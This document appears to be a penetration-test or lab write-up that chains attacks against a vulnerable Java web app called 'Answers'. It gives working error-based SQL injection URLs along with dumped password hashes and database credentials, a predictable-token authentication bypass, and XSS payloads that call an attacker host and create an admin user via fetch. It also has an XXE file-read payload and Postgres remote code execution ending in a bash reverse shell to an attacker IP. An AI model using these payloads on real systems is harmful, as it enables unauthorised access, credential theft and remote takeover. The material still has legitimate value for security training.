Answers

R3zk0n Β· October 2, 2025

Contents

    Create Token with UserID that we can control (Low Level User)

    /*    */   public static String createToken(int userId) {
    /* 16 */     Random random = new Random(System.currentTimeMillis());
    /* 17 */     StringBuilder sb = new StringBuilder();
    /* 18 */     byte[] encbytes = new byte[42];
    /*    */     
    /* 20 */     for (int i = 0; i < 42; i++) {
    /* 21 */       sb.append(CHARSET.charAt(random.nextInt(CHARSET.length())));
    /*    */     }
    /*    */ 
    /*    */     
    /* 25 */     byte[] bytes = sb.toString().getBytes();
    /*    */     
    /* 27 */     for (int j = 0; j < bytes.length; j++) {
    /* 28 */       encbytes[j] = (byte)(bytes[j] ^ (byte)userId);
    /*    */     }
    /*    */     
    /* 31 */     return Base64.getUrlEncoder().withoutPadding().encodeToString(encbytes);
    /*    */   }
    /*    */ }
    

    Observing source code and determining that SQL injection potentially exists

    /*    */   public List<DecoratedCategory> getAllDecoratedCategoriesSorted(String sort) {
    /* 60 */     if (sort.equalsIgnoreCase("count")) {
    /* 61 */       sort = "count(q.id)";
    /*    */     }
    /* 63 */     String sql = "SELECT c.id, c.name, count(q.id) as questionCount FROM categories c  LEFT JOIN questions q ON c.id = q.category_id GROUP BY c.id, c.name ";
    /*    */ 
    /*    */ 
    /*    */     
    /* 67 */     if (!sort.equalsIgnoreCase("")) {
    /* 68 */       sql = sql + " ORDER BY " + SqlUtil.escapeString(sort) + " DESC ";
    /*    */     }
    /*    */     
    /* 71 */     return this.template.query(sql, (RowMapper)new DecoratedCategoryRowMapper(this, null));
    /*    */   }
    

    String Concatenation in SQL query

    sql = sql + " ORDER BY " + SqlUtil.escapeString(sort) + " DESC ";
    

    escapeString function is not sufficiently validating SQL query - cannot use single/double quotes, new lines or semi-colons

    /*    */   public static String escapeString(String s) {
    /*  6 */     String tmp = s.replace("'", "");
    /*    */     
    /*  8 */     tmp = tmp.replace("\"", "");
    /*  9 */     tmp = tmp.replace("\n", "");
    /* 10 */     tmp = tmp.replace(";", "");
    /*    */     
    /* 12 */     return tmp;
    /*    */   }
    /*    */ }
    

    Find associated mapping for SQL query and determine that order parameter is injectable

    /*     */   @GetMapping({"/categories"})
    /*     */   public String getCategoriesPage(HttpServletRequest req, Model model, HttpServletResponse res) {
    /* 132 */     if (isAuthenticated(req)) {
    /* 133 */       decorateModel(req, model);
    /*     */     }
    /*     */     
    /* 136 */     getDecoratedTopFive(model);
    /*     */     
    /* 138 */     String sort = (req.getParameter("order") != null) ? req.getParameter("order") : "";
    /*     */     
    /* 140 */     List<DecoratedCategory> categories = this.catDao.getAllDecoratedCategoriesSorted(sort);
    /* 141 */     model.addAttribute("categories", categories);
    /*     */     
    /* 143 */     return "categories";
    /*     */   }
    

    Observe error when attempting to inject malicious SQL query in Postgres database

    • http://192.168.196.251/categories?order=%27

    Single Quotes are filtered

    StatementCallback; bad SQL grammar [SELECT c.id, c.name, count(q.id) as questionCount FROM categories c LEFT JOIN questions q ON c.id = q.category_id GROUP BY c.id, c.name ORDER BY DESC ]; nested exception is org.postgresql.util.PSQLException: ERROR: syntax error at or near "DESC" Position: 149
    

    Input Basic Commands

    • http://192.168.196.251/categories?order=1+DESC– (sort descending)
    • http://192.168.196.251/categories?order=1,cAsT(chr(126)%7c%7cvErSiOn()%7c%7cchr(126)+aS+nUmeRiC)– (error-based SQLi)
    • http://192.168.196.251/categories?order=1,cAsT(chr(126)%7c%7c(SELECT+current_database())%7c%7cchr(126)+aS+nUmeRiC)– (Current database)
    • http://192.168.196.251/categories?order=1,cAsT(chr(126)%7c%7c(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+0)%7c%7cchr(126)+aS+nUmeRiC)– (retrieve from information_schema with limit offset) –> Use burp to enumerate
    • http://192.168.196.251/categories?order=1,cAsT(chr(126)%7c%7c(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name=\(tokens\)+lImIt+1+offset+0)%7c%7cchr(126)+as+nUmeRiC)– (Use dollar-quotes)
    Version:
    PostgreSQL 10.12 (Ubuntu 10.12-0ubuntu0.18.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 7.4.0-1ubuntu1~18.04.1) 7.4.0, 64-bit
    
    Current Database:
    answers
    
    Users:
    postgres
    webapp
    
    Tables:
    categories
    users
    questions
    answers
    tokens
    
    Users Table:
    id
    username
    password
    isadmin
    ismod
    email
    
    Tokens Table:
    user_id
    token
    
    Postgres Database Credentials:
    postgre:[blank]
    webapp:md5120d5777bce28a73d9a33958eae9a7d5
    

    Obtain admin password hash

    admin:oxloQ7JK1hmHw9FF8tai1n5TolY= (isadmin=True, email=admin@answers.local)

    Other passwords:

    VsBALJ88OHAmorsvXeNQTcFca2M==
    njEPfgDJ0CAxAH8yFnZVXVDTTRM=
    KL9g4d6C5JynSctHgDPQoLliG9M=
    6P9OkSemHszcHlXQb+rTIa8KPV0=
    VFE/mi/SPbW13a4NyAhHoPyRZsI=
    vo0i+Wp1G2F1SiAGW5c57+94pjk=
    oxloQ7JK1hmHw9FF8tai1n5TolY=
    

    Authentication Bypass Method 1: Using magic tokens to elevate to low level privileges

    /*     */   @PostMapping({"/generateMagicLink"})
    /*     */   public String postGenerateMagicLink(HttpServletRequest req, Model model, HttpServletResponse res) {
    /* 119 */     if (req.getParameter("username") != null) {
    /* 120 */       User u = this.userDao.getUserByName(req.getParameter("username"));
    /*     */ 
    /*     */       
    /* 123 */       if (!u.getUsername().equalsIgnoreCase("admin")) {
    /*     */         
    /* 125 */         logger.info("Generating magic link for " + u.getUsername());
    /*     */         
    /* 127 */         String magic = TokenUtil.createToken(u.getId());
    /*     */         
    /* 129 */         this.userDao.insertTokenForUser(magic, u.getId());
    /*     */ 
    /*     */         
    /* 132 */         emailMagicLink(u.getEmail(), magic);
    /*     */         
    /* 134 */         model.addAttribute("message", "Magic link sent! Please check your email.");
    /* 135 */         model.addAttribute("username", u.getUsername());
    /* 136 */         return "redirect:/login";
    /*     */       } 
    /* 138 */       return "redirect:/login";
    /*     */     } 
    /*     */ 
    /*     */     
    /* 142 */     return "redirect:/login";
    /*     */   }
    
    @GetMapping({"/magicLink/{token}"})
    

    Three step process

    • http://192.168.129.251/categories?order=1,cAsT(chr(126)%7c%7c(SELECT+token+FROM+tokens+limit+1+offset+0)%7c%7cchr(126)+aS+nUmeRiC)–
    • http://192.168.129.251/generateMagicLink?username=admin2
    • GET http://192.168.196.251/magicLink/Y1Z-fU90RzRsZkI3RiJEIUd1fVxcTnxDa2dmSUA2UTxmfUsyQUhNXXV0 (Bob)

    β€˜/admin/users/create’ function does not appear to have CSRF protection - and it is possible to create XHR request using XSS to create a new admin user

    /*     */   @PostMapping({"/admin/users/create"})
    /*     */   public String postUserCreate(HttpServletRequest req, Model model, HttpServletResponse res) {
    /*  98 */     if (!isAdmin(req)) {
    /*  99 */       model.addAttribute("message", "You must be logged in to access this area.");
    /* 100 */       return "redirect:/login";
    /*     */     } 
    /*     */     
    /* 103 */     SessionUtil.decorateModel(req, model);
    /*     */     
    /* 105 */     String username = (req.getParameter("name") != null) ? req.getParameter("name") : "";
    /* 106 */     String email = (req.getParameter("email") != null) ? req.getParameter("email") : "";
    /* 107 */     boolean isAdmin = (req.getParameter("isAdmin") != null) ? Boolean.parseBoolean(req.getParameter("isAdmin")) : false;
    /* 108 */     boolean isMod = (req.getParameter("isMod") != null) ? Boolean.parseBoolean(req.getParameter("isMod")) : false;
    /*     */     
    /* 110 */     if (username.equalsIgnoreCase("") || email.equalsIgnoreCase("")) {
    /* 111 */       model.addAttribute("message", "Missing required fields.");
    /* 112 */       return "redirect:/admin/users";
    /*     */     } 
    /* 114 */     String password = Password.generatePassword(16);
    /* 115 */     logger.info("AdminController.postUserCreate() - Creating new user ");
    /*     */     try {
    /* 117 */       String hashedPassword = Password.hashPassword(password);
    /*     */       
    /* 119 */       this.userDao.insertUser(username, hashedPassword, isAdmin, isMod, email);
    /* 120 */       emailNewUser(email, username, password);
    /* 121 */       password = "";
    /* 122 */     } catch (Exception e) {
    /* 123 */       logger.error("[!] Exception occurred while try to add a new user: " + e.getMessage());
    /*     */     } 
    

    XSS Payload

    Bypass XSS filter check
    123<script>var xhr = new XMLHttpRequest(); test = "em>"; xhr.open('GET', 'http://192.168.119.129:8000/test', true); xhr.send(); alert('finished!')>
    
    Bypass SQLi filter check
    123<script>var xhr = new XMLHttpRequest(); test = "em>"; xhr.open('GET', 'http://192.168.119.129:8000/test', true); xhr.send(); alert('finished!')>
    123em><script>javascript:alert(`XSS`)></script>
    123<script>alert(`this`)\u003Balert(`works!`)</script>
    
    fetch("http://192.168.129.251/admin/users/create",
       {
       	method: 'post',
       	headers: {
       		"Content-type": "application/x-www-form-urlencoded;"
       	},
       	body: 'name=admin2&email=admin@example.com&isAdmin=true&isMod=true',
       })
    

    We can obtain the token of the new admin user, and then authenticate for elevated privileges

    • Use debugger -> change time delay due to ping difference FML
    • This should create a new administrator role, which can then be accessed
    • username=admin&password=malazan2&submit=Submit
    • Need to retrieve the adminkey.txt in order to perform arbitrary SQL queries in postgresql

    Remote Code Execution

    • XXE to retrieve file value in adminkey.txt
    <!--?xml version="1.0" ?-->
    <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///home/student/adminkey.txt"> ]>
    <database>
     <firstName>John</firstName>
     <lastName>&ent;</lastName>
    </database>
    

    adminkey.txt: 0cc2eebf-aa4b-4f9c-8b6c-ad7d44422d9b

    Postgres Version: PostgreSQL 10.12 (Ubuntu 10.12-0ubuntu0.18.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 7.4.0-1ubuntu1~18.04.1) 7.4.0, 64-bit

    CREATE OR REPLACE FUNCTION remote_test(text, integer) RETURNS void AS $$\\192.168.119.196\answers\pg_exec.so$$, $$pg_exec$$ LANGUAGE C STRICT;
    SELECT remote_test('bash -c "bash -i >& /dev/tcp/192.168.119.196/4444 0>&1"');
    
    select lo_import('/etc/hosts', 1337);
    select loid, pageno from pg_largeobject;
    select loid, pageno, encode(data, 'escape') from pg_largeobject;
    update pg_largeobject set data=decode('77303074', 'hex') where loid=1337 and pageno=0;
    select lo_export(1337, '/tmp/reverse_shell.so');
    

    For RCE: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/ https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions

    Twitter, Facebook